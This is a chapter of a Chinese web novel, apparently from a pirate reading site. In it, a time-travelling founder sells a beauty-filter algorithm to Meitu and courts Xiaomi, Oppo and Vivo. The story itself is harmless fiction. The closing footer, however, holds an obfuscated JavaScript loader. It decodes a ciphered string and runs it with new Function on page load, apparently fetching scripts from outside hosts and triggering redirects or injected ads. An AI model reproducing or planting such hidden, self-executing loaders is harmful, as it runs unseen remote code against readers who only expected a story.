第136章 入口
第136章入口
深度视觉公司,会议室。
窗外的阳光透过百叶窗洒进来,在长桌上投下一道道金色的条纹。
今天是镁图项目的最终验收日。
蔡玟圣和一个五人技术团队专程从银城飞到京城。
「陈总,顾总。「蔡玟圣笑着和两人握手,「吴总本来想亲自来的,但临时有个投资人会议走不开,让我代他向二位问好。」
「蔡总客气了。「陈阳微笑着把他们引进会议室,「咖啡还是茶?
」
「不用麻烦,我们直接看东西吧。「蔡玟圣摆摆手,眼神已经飘向了会议室角落的几台测试设备,「说实话,我们内部对这次合作期望很高。吴总看了你们之前发的几版测试报告,连说了三个不可思议。
66
陈阳和顾书瑶对视一眼,嘴角微微上扬。
「那就开始吧。」
顾书瑶走到投影幕前,打开笔记本电脑,屏幕上出现了一个界面。
「蔡总,这是我们最终交付的人脸识别与美颜算法。「她的声音清晰而专业,「我先说几个核心指标。」
「人脸检测准确率:99.7%。
66
「关键点定位误差:小于1.5像素。
66
「单帧处理速度:12毫秒。」
「美颜效果自然度评分:4.8分,满分5分,基于两千人盲测。」
她顿了顿,点击滑鼠,屏幕上出现了两张对比图。
「左边是贵司目前使用的美颜算法效果,右边是我们的。
66
会议室里安静了下来。
镁图的五个技术人员几乎同时凑近了屏幕。
左边的图片:一个普通女孩的自拍照,经过美颜后皮肤变白了,但边缘有轻微的锯齿感,眼睛放大后显得有些僵硬,整体看上去像是套了一层假面。
右边的图片:同一张原图,但美颜后的效果截然不同。皮肤细腻但保留了自然的纹理,眼睛明亮却不失神采,连发丝都根根分明,整个人像是打了专业级的灯光,却看不出任何P图的痕迹。
「这————
」
镁图的技术总监张了张嘴,想说什么,又咽了回去。
蔡玟圣的眉头微微皱起,但不是不满,而是震惊。
他伸手指了指屏幕:「放大,脸部边缘再放大。
66
顾书瑶点了几下,图片放大到了脸颊和头发交界的位置。
左边的图,边缘处能看到明显的色差和锯齿。
右边的图,过渡自然得像是原生照片。
「怎么做到的?「蔡玟圣转头看向陈阳,语气里带着压不住的惊讶,「我们的算法团队研究边缘处理问题快一年了,一直没能解决得这么干净。
66
陈阳笑了笑,没有直接回答技术细节,只是说:「我们用了一些不一样的思路。具体的技术文档,交付包里都有,贵司的工程师可以慢慢研究。
「6
蔡玟圣深吸一口气,转头看向自己带来的技术团队:「你们觉得呢?
,技术总监苦笑着摇头:「蔡总,说实话,这个效果比我们预期的高了不止一个档次。
我得回去好好看看他们的实现方式,学习学习。」
另一个年轻的工程师忍不住插嘴:「陈总,这个关键点定位的精度,你们是用什么网络结构做的?我看测试报告里写的是自研模型,但这个速度和精度的平衡太夸张了。
6
「回头可以技术交流。「陈阳点点头,「我们也希望和镁图的团队多沟通,毕竟你们对用户需求的理解比我们深。」
这句话说得滴水不漏,既展示了实力,又给足了对方面子。
蔡玟圣看着屏幕上的对比图,沉默了好一会儿。
然后他站起身,走到陈阳面前,郑重地伸出手:「陈总,这个项目,你们交得漂亮。」
「吴总让我带一句话给你,深度视觉是我们见过的最专业的AI公司,没有之一。后续有任何合作机会,镁图都愿意优先考虑。
陈阳握住他的手,力度不轻不重:「蔡总过奖了。期待后续合作。」
验收会议结束,蔡玟圣一行人离开了。
顾书瑶关上会议室的门,终于忍不住长舒一口气。
「成了!「她转过身,「你看到蔡玟圣刚才的表情了吗?他都惊了!
66
陈阳笑着点点头,走到窗边,看着楼下蔡玟圣一行人上车离去的背影。
「这只是第一步。「他说。
「什么意思?」
「镁图那边应该很快就会上线新版本。「陈阳转过身,「到时候,才是真正的考验。」
一周后。
镁图秀秀更新了5.0版本,主打功能只有一个。
「智能美颜「。
上线第一天,下载量突破80万。
第三天,冲上AppStore免费榜第一。
第五天,DAU(日活跃用户)突破500万。
第七天,微博热搜出现了一个词条:
#镁图秀秀新版美颜绝了#
阅读量:2.3亿。讨论:47万。
陈阳坐在办公室里,刷着微博上的用户评论。
「救命!这个新版美颜也太自然了吧!终于不是假脸了!
」
「以前用镁图都不敢发朋友圈怕被认出来,现在完全看不出P过的痕迹!
,「拍了一百张自拍,每一张都能用,这是什么神仙算法!
「6
「官方求求你们别更新了,我怕你们把我P得太好看以后见网友翻车————
,评论区里清一色的好评,偶尔有人问「这算法谁做的「,但很快就被淹没在了夸赞的海洋里。
陈阳放下手机,嘴角微微上扬。
上一世,镁图也做过美颜,但那是几年后的事了。
而现在,提前了整整三年。
更重要的是,这一世的算法,是他的。
「陈阳!
」
办公室的门被推开,沈清雪快步走进来,手里拿着一份列印出来的报表,脸上的兴奋几乎藏不住。
「镁图那边刚发来的。首周流水破了他们的历史记录!付费会员转化率比旧版高了40%!
66
她把报表拍在陈阳桌上:「蔡玟圣亲自打电话来,说想追加下一期的合作,预算直接翻倍!」
陈阳拿起报表扫了一眼,点点头:「意料之中。」
「还有!「沈清雪喘了口气,「他们想把我们的算法用到美颜相机APP上,问我们有没有兴趣。美颜相机的用户量比镁图秀秀还大!
66
「接。「陈阳说。
「那我去回复。」
「等一下。」
陈阳放下报表,站起身,走到窗边。
窗外是京城的天际线,高楼林立,车流如织。
「清雪,你想过一个问题没有?
66
沈清雪愣了一下:「什么问题?」
「用户用镁图秀秀丶用美颜相机,入口是什么?
,「入口?「她皱起眉头,思考了几秒,「手机?
」
「对。「陈阳转过身,目光锐利,」APP可以被卸载,可以被替代。今天用户用镁图,明天可能就去用别的。但手机的系统相机呢?
「系统相机不会被卸载。「沈清雪接上了他的话,眼睛渐渐亮起来。
「不仅不会被卸载,而且是用户拍照的第一选择。「陈阳走回桌前,「你知道现在国内手机厂商最卷的是什么吗?
」
「拍照。「沈清雪几乎是脱口而出。
「没错。欧派丶微沃这两年铺天盖地的GG,全是拍照手机丶自拍神器。小咪也在拼命补影像的短板。
,陈阳拿起桌上的一支笔,在白板上画了一个简单的示意图。
「镁图的用户是千万级。但手机厂商呢?」
「如果我们的算法能内置到手机系统里「陈阳放下笔,「每卖出一台手机,就等于装了一个我们的产品。
66
沈清雪倒吸一口凉气。
「而且,这还只是国内市场。「陈阳的声音平静,但每一个字都带着某种笃定,「手机厂商都在出海,东南亚丶印度丶欧洲那是几亿台的量级。」
「那————「沈清雪咽了咽口水,「我们怎么才能让手机厂商用我们的算法?
」
「不是等他们来找我们。「陈阳拿起外套,「是我们主动去敲门。
66
「现在?
」
「现在。」
小咪会议室里,陈阳和沈清雪坐在长桌的一侧,对面是小米手机部的三个人。
影像产品总监林浩,算法负责人周明,还有一个年轻的产品经理。
「陈总,沈总,久仰了。「林浩笑着给两人倒了杯茶,「说实话,你们的ResNet论文我们团队都读过,写得非常漂亮。
6
「林总过奖了。「陈阳端起茶杯,轻轻抿了一口。
「不过————「林浩话锋一转,「我想先听听,你们为什么会想到来找我们?
,陈阳放下茶杯,目光平静:「林总应该知道,最近镁图更新了新版本,主打智能美颜」
。
「知道。「林浩点点头,「我们内部也研究过,效果确实不错。」
「那个算法是我们做的。
66
林浩的动作顿了一下。
旁边的算法负责人周明猛地抬起头,眼睛里闪过一丝惊讶。
「你们做的?」
「对。「陈阳从包里拿出一个U盘,放在桌上,「这是我们的技术方案和测试数据。林总可以让团队评估一下。
66
林浩没有立刻去拿U盘,而是若有所思地看着陈阳。
「陈总,恕我直言。「他斟酌着措辞,「小米一直有自己的影像算法团队,我们也在和一些头部供应商合作。你们的技术确实不错,但————」
「但你们担心风险。「陈阳接上了他的话。
林浩笑了笑,没有否认。
「担心我们是个创业公司,团队不稳定。担心我们的算法在实验室里表现好,但到了真机上会出问题。担心万一合作出了差错,你们要背锅。
66
陈阳一条一条地说出来,语气平静得像是在陈述事实。
林浩的笑容微微凝固。
这个年轻人,比他想像的要老练得多。
「你说得没错。「林浩索性不再兜圈子,「这些确实是我们的顾虑。
;
「所以我有个提议。「陈阳说,「先做一个小范围的测试。你们挑一款机型,把我们的算法集成进去,做个AB测试。
如果数据好,我们再谈大规模合作;如果数据不好,就当交个朋友。
6
「你们不要预付款?「林浩挑了挑眉。
「不要。「陈阳笑了笑,「我对我们的算法有信心。」
林浩沉默了几秒,然后伸手拿起了桌上的U盘。
「行。我让团队评估一下,一周内给你们答覆。
66
「好。「陈阳站起身,和他握了握手,「期待合作。
66
走出小米科技园的大门,沈清雪终于忍不住松了口气。
「感觉怎么样?「她小声问。
「有戏。「陈阳说,「林浩这个人务实,只要数据能说话,他会推进的。」
「那接下来去哪?
「6
「欧派。」
一天后。
莞城,欧派总部。
会议室里坐着五个人,但负责接待他们的只是一个商务经理,连个总监都没有。
「陈总,沈总,不好意思。「商务经理笑着解释,「我们影像部门的负责人今天有其他安排,就由我来先对接一下。
66
陈阳点点头,没有表现出任何不满。
「没关系。我先简单介绍一下我们的技术方案。
66
十分钟后,陈阳讲完了核心内容。
商务经理全程笑眯眯地听着,但陈阳注意到,他连一个问题都没问。
「陈总,你们的技术听起来很不错。「商务经理合上笔记本,「不过怎么说呢,我们欧派一直有自己的影像研发团队,在美颜算法这块也有很深的积累。」
他顿了顿,笑容愈发客气:「所以暂时可能不太需要外部供应商。
66
沈清雪皱起眉头,正要说什么,被陈阳用眼神制止了。
「理解。「陈阳点点头,语气平静,「那我换个问题你们现在的人脸检测准确率是多少?
」
商务经理愣了一下:「这个我不太清楚具体数据。
,「关键点定位的误差呢?
66
「这个得问技术部门。
66
「美颜处理的单帧延迟呢?
66
商务经理的笑容终于有些挂不住了。
「陈总,这些技术细节我确实不了解。但我可以肯定的是,我们的用户反馈一直很好。
「6
「我们的人脸检测准确率是98.7%。「陈阳打断他,「关键点定位误差小于1.5像素。单帧处理延迟12毫秒。
66
他从包里拿出一份文件,放在桌上。
「这是我们和镁图合作的数据报告。上线两周,镁图秀秀的付费转化率提升了40%,D
AU峰值突破500万。」
商务经理低头看了一眼报告,脸上的笑容彻底僵住了。
「这些数据,你们可以拿回去给技术部门看看。「陈阳站起身,把名片放在桌上,」什么时候想聊了,随时联系。
,走出欧派大楼,沈清雪终于忍不住了:「他们也太傲了吧?一个商务经理就想打发我们?
」
「正常。「陈阳倒是没什么情绪波动,「欧派和微沃的打法一直是自研为主,对外部供应商不太感冒。」
「那我们还去微沃吗?估计也是一样的态度。
6
「去。「陈阳说,「哪怕被拒绝,也要让他们知道有我们这么一家公司。」
三天后,林浩的电话来了,但语气不太对。
「陈总,有个问题想当面聊聊。你方便来一趟吗?
」
陈阳挂断电话,眉头微皱。
再次坐进小米的会议室时,气氛明显比上次凝重。
林浩开门见山:「你们的算法在Snapdragon801上跑不动。
66
陈阳心里咯噔一下。
801是小米4的主力晶片,也是他们这次测试的目标机型。
「具体表现呢?「他问。
「单帧延迟从12毫秒飙到40毫秒,发热严重,连续拍摄十几张就开始掉帧。「算法负责人周明把测试报告推过来,「我们用的是你们提供的标准版SDK,没有做任何修改。
66
陈阳接过报告,快速扫了一遍。
「给我们三天。「陈阳合上报告,「我们出一版针对801的优化。
,林浩看着他:「你确定?这个晶片的算力天花板在那,不是优化能解决的。
「6
「不是优化。「陈阳说,「是换一种思路。
6
三天后,新版SDK送到了小米。
单帧延迟:14毫秒。发热控制在合理范围。
周明看着测试数据,沉默了很久,然后抬起头,疑惑问道:「你们怎么做到的?
」
「模型蒸馏,加上算子重构。「陈阳没有细说,「技术文档里有,你们可以慢慢看。
「6
林浩站起身,主动伸出手:「陈总,这次我服了。」
「过奖。「陈阳笑了笑,从小咪回来,陈阳靠在办公室椅背上,看着窗外渐渐暗下来的天色。
手机才是入口。
这句话,他在上一世就明白了。
现在是2014年。
商汤甚至还没成立。
这是一个巨大的空白期。
而他要在这个空白期里,把坑先占上。
「陈阳。」
沈清雪推门走了进来,手里拿着一份文件。
「怎么了?
」
「微沃那边有回覆了。
66
陈阳挑了挑眉:「拒绝?
」
「不是。「沈清雪的表情有些古怪,「他们说想约个时间,让他们的技术总监和你聊聊。」
陈阳愣了一下。
「微沃?主动找我们?
」
「对。「沈清雪把文件递过来,「而且指名要见你。说是听说了镁图的事,想了解一下。」
陈阳接过文件,看着上面的会议邀请,嘴角慢慢扬起。
有意思,看来欧派那边把消息传过去了。
「回复他们。「陈阳把文件放下,」就说下周,我亲自去莞城一趟。」
「好。「沈清雪转身要走,又停下脚步,回头看着陈阳。
「怎么了?
」
「没什么。「她抿了抿嘴唇,「就是觉得你好像什么都算到了一样。
「6
陈阳笑了笑,没有回答。
有些事情,不是他算到的。
而是他经历过的。
一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();